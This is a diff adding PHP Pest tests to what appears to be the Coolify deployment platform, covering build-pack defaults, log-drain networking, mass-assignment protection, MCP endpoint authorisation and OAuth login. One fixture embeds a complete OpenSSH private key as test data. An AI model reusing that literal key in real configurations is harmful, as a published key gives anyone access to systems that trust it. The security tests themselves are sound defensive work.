'decimal' => ['1.9', 'integer'],
]);
it('uses one second deployment timeout in local only when stop grace period is unset', function () {
config(['app.env' => 'local']);
$setting = new ApplicationSetting;
expect($setting->deploymentStopGracePeriodSeconds())->toBe(MIN_STOP_GRACE_PERIOD_SECONDS);
$setting->stop_grace_period = 10;
expect($setting->deploymentStopGracePeriodSeconds())->toBe(10);
});
it('uses default deployment timeout outside local when stop grace period is unset', function () {
config(['app.env' => 'production']);
$setting = new ApplicationSetting;
expect($setting->deploymentStopGracePeriodSeconds())->toBe(DEFAULT_STOP_GRACE_PERIOD_SECONDS);
});
@@ -0,0 +1,121 @@
<?php
use App\Livewire\Project\Application\General;
use App\Livewire\Project\New\PublicGitRepository;
use App\Models\Application;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\PrivateKey;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
InstanceSettings::unguarded(function () {
InstanceSettings::updateOrCreate(['id' => 0], []);
});
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
describe('PublicGitRepository port handling for railpack', function () {
test('switching to railpack resets port to 3000 when not static', function () {
Livewire::test(PublicGitRepository::class, ['type' => 'public'])
->set('build_pack', 'dockerfile')
->assertSet('port', 3000)
->set('build_pack', 'railpack')
->assertSet('port', 3000);
});
test('switching to railpack preserves port when isStatic is true', function () {
$component = Livewire::test(PublicGitRepository::class, ['type' => 'public'])
->set('isStatic', true)
->call('instantSave');
// After instantSave with isStatic=true, port becomes 80
$component->assertSet('port', 80);
// Switching from nixpacks to railpack should NOT clobber port back to 3000
$component->set('build_pack', 'railpack')
->assertSet('port', 80);
});
test('switching to static sets port to 80 and disables show_is_static', function () {
Livewire::test(PublicGitRepository::class, ['type' => 'public'])
->set('build_pack', 'static')
->assertSet('port', 80)
->assertSet('isStatic', false)
->assertSet('show_is_static', false);
});
});
describe('General view railpack helper text', function () {
beforeEach(function () {
$this->privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----',
'team_id' => $this->team->id,
]);
$this->server = Server::factory()->create([
'team_id' => $this->team->id,
'private_key_id' => $this->privateKey->id,
]);
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first()
?? StandaloneDocker::factory()->create(['server_id' => $this->server->id, 'network' => 'coolify-test']);
});
test('railpack app shows railpack.json helper text and not nixpacks.toml', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => StandaloneDocker::class,
'build_pack' => 'railpack',
'static_image' => 'nginx:alpine',
'base_directory' => '/',
'is_http_basic_auth_enabled' => false,
'redirect' => 'no',
]);
Livewire::test(General::class, ['application' => $application])
->assertSuccessful()
->assertSee('railpack.json')
->assertDontSee('nixpacks.toml');
});
test('nixpacks app shows nixpacks.toml helper text and not railpack.json', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => StandaloneDocker::class,
'build_pack' => 'nixpacks',
'static_image' => 'nginx:alpine',
'base_directory' => '/',
'is_http_basic_auth_enabled' => false,
'redirect' => 'no',
]);
Livewire::test(General::class, ['application' => $application])
->assertSuccessful()
->assertSee('nixpacks.toml')
->assertDontSee('railpack.json');
});
});
@@ -0,0 +1,97 @@
<?php
use App\Actions\Server\StartLogDrain;
use App\Actions\Service\StartService;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Server;
use App\Models\Service;
use App\Models\StandaloneDocker;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
function reflectedLogDrainNetworkCommands(object $action, Server|Service $model): array
{
$method = new ReflectionMethod($action, 'logDrainNetworkConnectCommands');
$method->setAccessible(true);
return $method->invoke($action, $model);
}
function createServerWithTeam(): Server
{
$team = Team::factory()->create();
return Server::factory()->create(['team_id' => $team->id]);
}
function createServiceOnServer(Server $server, string $network, bool $connectToDockerNetwork = true): Service
{
$team = Team::factory()->create();
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$destination = StandaloneDocker::query()->firstOrCreate(
['server_id' => $server->id, 'network' => $network],
['uuid' => fake()->uuid(), 'name' => fake()->unique()->word()]
);
return Service::factory()->create([
'server_id' => $server->id,
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => StandaloneDocker::class,
'connect_to_docker_network' => $connectToDockerNetwork,
'docker_compose' => "services:\n signoz:\n image: signoz/signoz:latest\n",
]);
}
it('connects the log drain container to a service preferred network when the server log drain is enabled', function () {
$server = createServerWithTeam();
$server->settings()->update(['is_logdrain_custom_enabled' => true]);
$service = createServiceOnServer($server, 'signoz-net', true);
$commands = reflectedLogDrainNetworkCommands(new StartService, $service->fresh(['destination.server.settings']));
expect($commands)->toContain("docker network connect 'signoz-net' coolify-log-drain >/dev/null 2>&1 || true");
});
it('does not connect the log drain container when service preferred network is disabled', function () {
$server = createServerWithTeam();
$server->settings()->update(['is_logdrain_custom_enabled' => true]);
$service = createServiceOnServer($server, 'signoz-net', false);
$commands = reflectedLogDrainNetworkCommands(new StartService, $service->fresh(['destination.server.settings']));
expect($commands)->toBeEmpty();
});
it('does not connect the log drain container when the server log drain is disabled', function () {
$server = createServerWithTeam();
$service = createServiceOnServer($server, 'signoz-net', true);
$commands = reflectedLogDrainNetworkCommands(new StartService, $service->fresh(['destination.server.settings']));
expect($commands)->toBeEmpty();
});
it('connects a restarted log drain container to all enabled service preferred networks on the server', function () {
$server = createServerWithTeam();
$server->settings()->update(['is_logdrain_custom_enabled' => true]);
createServiceOnServer($server, 'signoz-net', true);
createServiceOnServer($server, 'ignored-net', false);
createServiceOnServer($server, 'signoz-net', true);
$otherServer = createServerWithTeam();
createServiceOnServer($otherServer, 'other-server-net', true);
$commands = reflectedLogDrainNetworkCommands(new StartLogDrain, $server->fresh(['settings']));
expect($commands)
->toContain("docker network connect 'signoz-net' coolify-log-drain >/dev/null 2>&1 || true")
->not->toContain("docker network connect 'ignored-net' coolify-log-drain >/dev/null 2>&1 || true")
->not->toContain("docker network connect 'other-server-net' coolify-log-drain >/dev/null 2>&1 || true");
expect($commands)->toHaveCount(1);
});
+45
View File
@@ -0,0 +1,45 @@
<?php
it('registers geist mono from a local asset for log surfaces', function () {
$fontsCss = file_get_contents(resource_path('css/fonts.css'));
$appCss = file_get_contents(resource_path('css/app.css'));
$fontPath = resource_path('fonts/geist-mono-variable.woff2');
$geistSansPath = resource_path('fonts/geist-sans-variable.woff2');
expect($fontsCss)
->toContain("font-family: 'Geist Mono'")
->toContain("url('../fonts/geist-mono-variable.woff2')")
->toContain("font-family: 'Geist Sans'")
->toContain("url('../fonts/geist-sans-variable.woff2')")
->and($appCss)
->toContain("--font-sans: 'Geist Sans', Inter, sans-serif")
->toContain('@apply min-h-screen text-sm font-sans antialiased scrollbar overflow-x-hidden;')
->toContain("--font-logs: 'Geist Mono'")
->toContain("--font-geist-sans: 'Geist Sans'")
->and($fontPath)
->toBeFile()
->and($geistSansPath)
->toBeFile();
});
it('uses geist mono for shared logs and terminal rendering', function () {
$sharedLogsView = file_get_contents(resource_path('views/livewire/project/shared/get-logs.blade.php'));
$deploymentLogsView = file_get_contents(resource_path('views/livewire/project/application/deployment/show.blade.php'));
$activityMonitorView = file_get_contents(resource_path('views/livewire/activity-monitor.blade.php'));
$dockerCleanupView = file_get_contents(resource_path('views/livewire/server/docker-cleanup-executions.blade.php'));
$terminalClient = file_get_contents(resource_path('js/terminal.js'));
expect($sharedLogsView)
->toContain('class="font-logs max-w-full cursor-default"')
->toContain('class="font-logs whitespace-pre-wrap break-all max-w-full text-neutral-400"')
->and($deploymentLogsView)
->toContain('class="flex flex-col font-logs"')
->toContain('class="font-logs text-neutral-400 mb-2"')
->and($activityMonitorView)
->toContain('<pre class="font-logs whitespace-pre-wrap"')
->and($dockerCleanupView)
->toContain('class="flex-1 text-sm font-logs text-gray-700 dark:text-gray-300"')
->toContain('class="font-logs text-sm text-gray-600 dark:text-gray-300 whitespace-pre-wrap"')
->and($terminalClient)
->toContain('"Geist Mono"');
});
@@ -0,0 +1,248 @@
<?php
use App\Models\Application;
use App\Models\Server;
use App\Models\Service;
use App\Models\StandaloneClickhouse;
use App\Models\StandaloneDragonfly;
use App\Models\StandaloneKeydb;
use App\Models\StandaloneMariadb;
use App\Models\StandaloneMongodb;
use App\Models\StandaloneMysql;
use App\Models\StandalonePostgresql;
use App\Models\StandaloneRedis;
use App\Models\Team;
use App\Models\User;
describe('mass assignment protection', function () {
test('no API-exposed model uses unguarded $guarded = []', function () {
$models = [
Application::class,
Service::class,
User::class,
Team::class,
Server::class,
StandalonePostgresql::class,
StandaloneRedis::class,
StandaloneMysql::class,
StandaloneMariadb::class,
StandaloneMongodb::class,
StandaloneKeydb::class,
StandaloneDragonfly::class,
StandaloneClickhouse::class,
];
foreach ($models as $modelClass) {
$model = new $modelClass;
$guarded = $model->getGuarded();
$fillable = $model->getFillable();
// Model must NOT have $guarded = [] (empty guard = no protection)
// It should either have non-empty $guarded OR non-empty $fillable
$hasProtection = $guarded !== ['*'] ? count($guarded) > 0 : true;
$hasProtection = $hasProtection || count($fillable) > 0;
expect($hasProtection)
->toBeTrue("Model {$modelClass} has no mass assignment protection (empty \$guarded and empty \$fillable)");
}
});
test('Application model blocks mass assignment of relationship IDs', function () {
$application = new Application;
$dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'private_key_id', 'repository_project_id'];
foreach ($dangerousFields as $field) {
expect($application->isFillable($field))
->toBeFalse("Application model should not allow mass assignment of '{$field}'");
}
});
test('Application model allows mass assignment of user-facing fields', function () {
$application = new Application;
$userFields = ['name', 'description', 'git_repository', 'git_branch', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'health_check_path', 'limits_memory', 'status'];
foreach ($userFields as $field) {
expect($application->isFillable($field))
->toBeTrue("Application model should allow mass assignment of '{$field}'");
}
});
test('Server model has $fillable and no conflicting $guarded', function () {
$server = new Server;
$fillable = $server->getFillable();
$guarded = $server->getGuarded();
expect($fillable)->not->toBeEmpty('Server model should have explicit $fillable');
// Guarded should be the default ['*'] when $fillable is set, not []
expect($guarded)->not->toBe([], 'Server model should not have $guarded = [] overriding $fillable');
});
test('Server model blocks mass assignment of dangerous fields', function () {
$server = new Server;
// These fields should not be mass-assignable via the API
expect($server->isFillable('id'))->toBeFalse();
expect($server->isFillable('uuid'))->toBeFalse();
expect($server->isFillable('created_at'))->toBeFalse();
});
test('User model blocks mass assignment of auth-sensitive fields', function () {
$user = new User;
expect($user->isFillable('id'))->toBeFalse('User id should not be fillable');
expect($user->isFillable('email_verified_at'))->toBeFalse('email_verified_at should not be fillable');
expect($user->isFillable('remember_token'))->toBeFalse('remember_token should not be fillable');
expect($user->isFillable('two_factor_secret'))->toBeFalse('two_factor_secret should not be fillable');
expect($user->isFillable('two_factor_recovery_codes'))->toBeFalse('two_factor_recovery_codes should not be fillable');
expect($user->isFillable('pending_email'))->toBeFalse('pending_email should not be fillable');
expect($user->isFillable('email_change_code'))->toBeFalse('email_change_code should not be fillable');
expect($user->isFillable('email_change_code_expires_at'))->toBeFalse('email_change_code_expires_at should not be fillable');
});
test('User model allows mass assignment of profile fields', function () {
$user = new User;
expect($user->isFillable('name'))->toBeTrue();
expect($user->isFillable('email'))->toBeTrue();
expect($user->isFillable('password'))->toBeTrue();
});
test('Team model blocks mass assignment of internal fields', function () {
$team = new Team;
expect($team->isFillable('id'))->toBeFalse();
expect($team->isFillable('use_instance_email_settings'))->toBeFalse('use_instance_email_settings should not be fillable (migrated to EmailNotificationSettings)');
expect($team->isFillable('resend_api_key'))->toBeFalse('resend_api_key should not be fillable (migrated to EmailNotificationSettings)');
});
test('Team model allows mass assignment of expected fields', function () {
$team = new Team;
expect($team->isFillable('name'))->toBeTrue();
expect($team->isFillable('description'))->toBeTrue();
expect($team->isFillable('personal_team'))->toBeTrue();
expect($team->isFillable('show_boarding'))->toBeTrue();
expect($team->isFillable('custom_server_limit'))->toBeTrue();
});
test('standalone database models block mass assignment of relationship IDs', function () {
$models = [
StandalonePostgresql::class,
StandaloneRedis::class,
StandaloneMysql::class,
StandaloneMariadb::class,
StandaloneMongodb::class,
StandaloneKeydb::class,
StandaloneDragonfly::class,
StandaloneClickhouse::class,
];
foreach ($models as $modelClass) {
$model = new $modelClass;
$dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type'];
foreach ($dangerousFields as $field) {
expect($model->isFillable($field))
->toBeFalse("Model {$modelClass} should not allow mass assignment of '{$field}'");
}
}
});
test('standalone database models allow mass assignment of config fields', function () {
$model = new StandalonePostgresql;
expect($model->isFillable('name'))->toBeTrue();
expect($model->isFillable('postgres_user'))->toBeTrue();
expect($model->isFillable('postgres_password'))->toBeTrue();
expect($model->isFillable('image'))->toBeTrue();
expect($model->isFillable('limits_memory'))->toBeTrue();
$model = new StandaloneRedis;
expect($model->isFillable('redis_conf'))->toBeTrue();
$model = new StandaloneMysql;
expect($model->isFillable('mysql_root_password'))->toBeTrue();
$model = new StandaloneMongodb;
expect($model->isFillable('mongo_initdb_root_username'))->toBeTrue();
});
test('standalone database models allow mass assignment of public_port_timeout', function () {
$models = [
StandalonePostgresql::class,
StandaloneRedis::class,
StandaloneMysql::class,
StandaloneMariadb::class,
StandaloneMongodb::class,
StandaloneKeydb::class,
StandaloneDragonfly::class,
StandaloneClickhouse::class,
];
foreach ($models as $modelClass) {
$model = new $modelClass;
expect($model->isFillable('public_port_timeout'))
->toBeTrue("{$modelClass} should allow mass assignment of 'public_port_timeout'");
}
});
test('standalone database models allow mass assignment of SSL fields where applicable', function () {
$sslModels = [
StandalonePostgresql::class,
StandaloneMysql::class,
StandaloneMariadb::class,
StandaloneMongodb::class,
StandaloneRedis::class,
StandaloneKeydb::class,
StandaloneDragonfly::class,
];
foreach ($sslModels as $modelClass) {
$model = new $modelClass;
expect($model->isFillable('enable_ssl'))
->toBeTrue("{$modelClass} should allow mass assignment of 'enable_ssl'");
}
// Clickhouse has no SSL columns
expect((new StandaloneClickhouse)->isFillable('enable_ssl'))->toBeFalse();
$sslModeModels = [
StandalonePostgresql::class,
StandaloneMysql::class,
StandaloneMongodb::class,
];
foreach ($sslModeModels as $modelClass) {
$model = new $modelClass;
expect($model->isFillable('ssl_mode'))
->toBeTrue("{$modelClass} should allow mass assignment of 'ssl_mode'");
}
});
test('Application fill ignores non-fillable fields', function () {
$application = new Application;
$application->fill([
'name' => 'test-app',
'environment_id' => 999,
'destination_id' => 999,
'team_id' => 999,
'private_key_id' => 999,
]);
expect($application->name)->toBe('test-app');
expect($application->environment_id)->toBeNull();
expect($application->destination_id)->toBeNull();
expect($application->private_key_id)->toBeNull();
});
test('Service model blocks mass assignment of relationship IDs', function () {
$service = new Service;
expect($service->isFillable('id'))->toBeFalse();
expect($service->isFillable('uuid'))->toBeFalse();
expect($service->isFillable('environment_id'))->toBeFalse();
expect($service->isFillable('destination_id'))->toBeFalse();
expect($service->isFillable('server_id'))->toBeFalse();
});
});
+205
View File
@@ -0,0 +1,205 @@
<?php
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Once;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::query()->where('id', 0)->delete();
InstanceSettings::query()->delete();
$settings = new InstanceSettings(['is_mcp_server_enabled' => true]);
$settings->id = 0;
$settings->save();
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
});
function mcpPost(array $payload, ?string $token = null)
{
$headers = [
'Content-Type' => 'application/json',
'Accept' => 'application/json, text/event-stream',
];
if ($token) {
$headers['Authorization'] = 'Bearer '.$token;
}
return test()->withHeaders($headers)->postJson('/mcp', $payload);
}
function mcpListTools(string $token)
{
return mcpPost([
'jsonrpc' => '2.0',
'id' => 1,
'method' => 'tools/list',
'params' => (object) [],
], $token);
}
function mcpCallTool(string $token, string $name, array $arguments = [])
{
return mcpPost([
'jsonrpc' => '2.0',
'id' => 1,
'method' => 'tools/call',
'params' => [
'name' => $name,
'arguments' => (object) $arguments,
],
], $token);
}
function mcpToolJson($response): array
{
return json_decode($response->json('result.content.0.text'), true);
}
test('MCP endpoint returns 404 when the instance setting is disabled', function () {
InstanceSettings::query()->where('id', 0)->update(['is_mcp_server_enabled' => false]);
Once::flush();
$response = mcpPost(['jsonrpc' => '2.0', 'id' => 1, 'method' => 'tools/list']);
$response->assertStatus(404);
});
test('MCP endpoint rejects unauthenticated requests', function () {
$response = mcpPost(['jsonrpc' => '2.0', 'id' => 1, 'method' => 'tools/list']);
$response->assertStatus(401);
});
test('MCP endpoint lists tools for an authenticated token', function () {
$token = $this->user->createToken('mcp-read', ['read'])->plainTextToken;
$response = mcpListTools($token);
$response->assertOk();
$toolNames = collect($response->json('result.tools'))->pluck('name')->all();
expect($toolNames)->toContain(
'get_infrastructure_overview',
'list_servers',
'get_server',
'list_projects',
'list_applications',
'get_application',
'list_databases',
'get_database',
'list_services',
'get_service',
);
expect($toolNames)->not->toContain('get_resource_status');
});
test('list_projects returns summary + pagination scoped to the token team', function () {
$project = Project::create(['name' => 'Mine', 'team_id' => $this->team->id]);
$otherTeam = Team::factory()->create();
Project::create(['name' => 'Theirs', 'team_id' => $otherTeam->id]);
$token = $this->user->createToken('mcp-read', ['read'])->plainTextToken;
$response = mcpCallTool($token, 'list_projects');
$response->assertOk();
$body = mcpToolJson($response);
expect($body)->toHaveKey('data');
expect($body)->toHaveKey('_pagination');
expect($body['_pagination']['total'])->toBe(1);
expect($body['_pagination']['per_page'])->toBe(50);
expect($body['_pagination'])->not->toHaveKey('next');
$uuids = collect($body['data'])->pluck('uuid')->all();
$names = collect($body['data'])->pluck('name')->all();
expect($uuids)->toContain($project->uuid);
expect($names)->not->toContain('Theirs');
expect($body['data'][0])->toHaveKeys(['uuid', 'name', 'description']);
});
test('list_projects paginates with per_page cap at 100', function () {
for ($i = 0; $i < 3; $i++) {
Project::create(['name' => "P{$i}", 'team_id' => $this->team->id]);
}
$token = $this->user->createToken('mcp-read', ['read'])->plainTextToken;
$response = mcpCallTool($token, 'list_projects', ['per_page' => 2, 'page' => 1]);
$body = mcpToolJson($response);
expect($body['_pagination']['total'])->toBe(3);
expect($body['_pagination']['total_pages'])->toBe(2);
expect($body['_pagination']['next']['args'])->toMatchArray(['page' => 2, 'per_page' => 2]);
expect($body['data'])->toHaveCount(2);
// Verify max cap
$capped = mcpCallTool($token, 'list_projects', ['per_page' => 500]);
$cappedBody = mcpToolJson($capped);
expect($cappedBody['_pagination']['per_page'])->toBe(100);
});
test('get_infrastructure_overview returns counts', function () {
Project::create(['name' => 'One', 'team_id' => $this->team->id]);
Project::create(['name' => 'Two', 'team_id' => $this->team->id]);
$token = $this->user->createToken('mcp-read', ['read'])->plainTextToken;
$response = mcpCallTool($token, 'get_infrastructure_overview');
$response->assertOk();
$body = mcpToolJson($response);
expect($body)->toHaveKey('data');
expect($body['data'])->toHaveKeys(['coolify_version', 'servers', 'projects', 'counts']);
expect($body['data']['counts']['projects'])->toBe(2);
expect($body['data']['projects'])->toHaveCount(2);
expect($body['data']['projects'][0])->toHaveKey('counts');
});
test('get_server scrubs sensitive nested data and exposes connection_timeout', function () {
$server = Server::factory()->create(['team_id' => $this->team->id]);
// creating hook auto-generates a sentinel_token; bump connection_timeout
// via saveQuietly to avoid triggering restartSentinel.
$server->settings->forceFill(['connection_timeout' => 42])->saveQuietly();
$token = $this->user->createToken('mcp-read', ['read'])->plainTextToken;
$response = mcpCallTool($token, 'get_server', ['uuid' => $server->uuid]);
$response->assertOk();
$body = mcpToolJson($response);
$raw = json_encode($body);
expect($raw)->not->toContain('sentinel_token');
expect($raw)->not->toContain('"team_id"');
expect($raw)->not->toContain('"private_key_id"');
expect($body['data']['connection_timeout'])->toBe(42);
expect($body['data']['uuid'])->toBe($server->uuid);
});
test('tool calls fail when the token lacks the read ability', function () {
$token = $this->user->createToken('mcp-no-abilities', [])->plainTextToken;
$response = mcpCallTool($token, 'list_projects');
$response->assertOk();
expect($response->json('result.isError'))->toBeTrue();
expect($response->json('result.content.0.text'))->toContain('Missing required permissions');
});
test('MCP rejects token when user no longer belongs to token team', function () {
Project::create(['name' => 'Hidden', 'team_id' => $this->team->id]);
$token = $this->user->createToken('mcp-read', ['read'])->plainTextToken;
$this->team->members()->detach($this->user->id);
$response = mcpCallTool($token, 'list_projects');
$response->assertUnauthorized();
});
+107
View File
@@ -0,0 +1,107 @@
<?php
use App\Models\InstanceSettings;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\DB;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::query()->delete();
$settings = new InstanceSettings([
'is_mcp_server_enabled' => false,
'is_api_enabled' => true,
]);
$settings->id = 0;
$settings->save();
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
session(['currentTeam' => $this->team]);
});
function makeRootMcpToken(User $user): string
{
$token = $user->createToken('mcp-root', ['root']);
DB::table('personal_access_tokens')
->where('id', $token->accessToken->id)
->update(['team_id' => '0']);
return $token->plainTextToken;
}
function makeNonRootMcpToken(User $user, Team $team, array $abilities = ['write']): string
{
$token = $user->createToken('mcp-write', $abilities);
DB::table('personal_access_tokens')
->where('id', $token->accessToken->id)
->update(['team_id' => (string) $team->id]);
return $token->plainTextToken;
}
test('POST /api/v1/mcp/enable enables MCP server with root token', function () {
$token = makeRootMcpToken($this->user);
$response = test()->withHeaders([
'Authorization' => 'Bearer '.$token,
])->postJson('/api/v1/mcp/enable');
$response->assertOk();
$response->assertJson(['message' => 'MCP server enabled.']);
expect(InstanceSettings::find(0)->is_mcp_server_enabled)->toBeTrue();
});
test('POST /api/v1/mcp/disable disables MCP server with root token', function () {
InstanceSettings::query()->where('id', 0)->update(['is_mcp_server_enabled' => true]);
$token = makeRootMcpToken($this->user);
$response = test()->withHeaders([
'Authorization' => 'Bearer '.$token,
])->postJson('/api/v1/mcp/disable');
$response->assertOk();
$response->assertJson(['message' => 'MCP server disabled.']);
expect(InstanceSettings::find(0)->is_mcp_server_enabled)->toBeFalse();
});
test('non-root token cannot enable MCP server', function () {
$token = makeNonRootMcpToken($this->user, $this->team);
$response = test()->withHeaders([
'Authorization' => 'Bearer '.$token,
])->postJson('/api/v1/mcp/enable');
$response->assertStatus(403);
expect(InstanceSettings::find(0)->is_mcp_server_enabled)->toBeFalse();
});
test('non-root token cannot disable MCP server', function () {
InstanceSettings::query()->where('id', 0)->update(['is_mcp_server_enabled' => true]);
$token = makeNonRootMcpToken($this->user, $this->team);
$response = test()->withHeaders([
'Authorization' => 'Bearer '.$token,
])->postJson('/api/v1/mcp/disable');
$response->assertStatus(403);
expect(InstanceSettings::find(0)->is_mcp_server_enabled)->toBeTrue();
});
test('unauthenticated request to /api/v1/mcp/enable returns 401', function () {
$response = test()->postJson('/api/v1/mcp/enable');
$response->assertStatus(401);
});
test('read-only token cannot toggle MCP server (lacks write ability)', function () {
$token = makeNonRootMcpToken($this->user, $this->team, ['read']);
$response = test()->withHeaders([
'Authorization' => 'Bearer '.$token,
])->postJson('/api/v1/mcp/enable');
$response->assertStatus(403);
});
File diff suppressed because it is too large. Load diff
+16
View File
@@ -0,0 +1,16 @@
<?php
it('strips leftover x-cloak after wire:navigate to prevent blank page', function () {
$appJs = file_get_contents(resource_path('js/app.js'));
expect($appJs)
->toContain("document.addEventListener('livewire:navigated'")
->toContain("querySelectorAll('[x-cloak]')")
->toContain("removeAttribute('x-cloak')");
});
it('keeps the initial-load x-cloak guard on the app wrapper', function () {
$layout = file_get_contents(resource_path('views/layouts/app.blade.php'));
expect($layout)->toContain('x-cloak');
});
@@ -0,0 +1,49 @@
<?php
use App\Livewire\Project\New\GithubPrivateRepository;
use App\Livewire\Project\New\GithubPrivateRepositoryDeployKey;
use App\Livewire\Project\New\PublicGitRepository;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
});
describe('new application buildpack defaults', function () {
test('github app repository flow defaults to nixpacks', function () {
Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app'])
->assertSet('build_pack', 'nixpacks');
});
test('deploy key repository flow defaults to nixpacks', function () {
Livewire::test(GithubPrivateRepositoryDeployKey::class, ['type' => 'private-deploy-key'])
->assertSet('build_pack', 'nixpacks');
});
test('public repository flow defaults to nixpacks and lists railpack second', function () {
Livewire::test(PublicGitRepository::class, ['type' => 'public'])
->assertSet('build_pack', 'nixpacks');
});
test('public repository flow keeps railpack available after branch lookup', function () {
Livewire::test(PublicGitRepository::class, ['type' => 'public'])
->set('branchFound', true)
->assertSeeInOrder(['Nixpacks', 'Railpack (Beta)']);
});
test('deploy key repository flow shows railpack beta label in build pack selector without beta badge', function () {
Livewire::test(GithubPrivateRepositoryDeployKey::class, ['type' => 'private-deploy-key'])
->set('current_step', 'repository')
->assertSee('Railpack (Beta)');
});
});
+79
View File
@@ -0,0 +1,79 @@
<?php
use App\Models\InstanceSettings;
use App\Models\OauthSetting;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Laravel\Socialite\Facades\Socialite;
uses(RefreshDatabase::class);
beforeEach(function () {
InstanceSettings::create([
'id' => 0,
'is_registration_enabled' => false,
]);
OauthSetting::create([
'provider' => 'google',
'client_id' => 'client-id',
'client_secret' => 'client-secret',
'redirect_uri' => 'https://coolify.example.com/auth/google/callback',
'tenant' => 'example.com',
]);
});
it('logs in an existing user when the oauth provider returns a mixed-case email', function () {
config()->set('app.maintenance.driver', 'file');
$user = User::factory()->create([
'email' => 'username@example.edu',
]);
$provider = Mockery::mock();
$provider->shouldReceive('setConfig')->once()->andReturnSelf();
$provider->shouldReceive('with')->once()->with(['hd' => 'example.com'])->andReturnSelf();
$provider->shouldReceive('user')->once()->andReturn((object) [
'email' => 'UserName@example.edu',
'name' => 'Example User',
'id' => 'google-user-id',
]);
Socialite::shouldReceive('driver')->once()->with('google')->andReturn($provider);
$response = $this->get(route('auth.callback', 'google'));
$response->assertRedirect('/');
$this->assertAuthenticatedAs($user);
expect(User::count())->toBe(1);
});
it('rejects oauth logins when the provider does not return an email address', function (?string $providerEmail) {
config()->set('app.maintenance.driver', 'file');
InstanceSettings::firstOrCreate([
'id' => 0,
], [
'is_registration_enabled' => false,
])->update([
'is_registration_enabled' => true,
]);
$provider = Mockery::mock();
$provider->shouldReceive('setConfig')->once()->andReturnSelf();
$provider->shouldReceive('with')->once()->with(['hd' => 'example.com'])->andReturnSelf();
$provider->shouldReceive('user')->once()->andReturn((object) [
'email' => $providerEmail,
'name' => 'Example User',
'id' => 'google-user-id',
]);
Socialite::shouldReceive('driver')->once()->with('google')->andReturn($provider);
$response = $this->from('/login')->get(route('auth.callback', 'google'));
$response->assertRedirect('/login');
expect(User::count())->toBe(0);
})->with([
'null email' => [null],
'blank email' => [' '],
]);
@@ -0,0 +1,73 @@
<?php
use Illuminate\Support\MessageBag;
use Illuminate\Support\ViewErrorBag;
beforeEach(function () {
$errors = new ViewErrorBag;
$errors->put('default', new MessageBag);
view()->share('errors', $errors);
});
it('renders password input with Alpine-managed visibility state', function () {
$html = Blade::render('<x-forms.input type="password" id="secret" />');
expect($html)
->toContain('@success.window="type = \'password\'"')
->toContain("x-data=\"{ type: 'password' }\"")
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
->toContain('x-bind:type="type"')
->toContain("x-bind:class=\"{ 'truncate': type === 'text' && ! \$el.disabled }\"")
->not->toContain('changePasswordFieldType');
});
it('renders password input before visibility toggle in tab order', function () {
$html = Blade::render('<x-forms.input type="password" id="secret" />');
expect(strpos($html, '<input'))->toBeLessThan(strpos($html, 'aria-label="Toggle password visibility"'));
});
it('renders password textarea with Alpine-managed visibility state', function () {
$html = Blade::render('<x-forms.textarea type="password" id="secret" />');
expect($html)
->toContain('@success.window="type = \'password\'"')
->toContain("x-data=\"{ type: 'password' }\"")
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
->not->toContain('changePasswordFieldType');
});
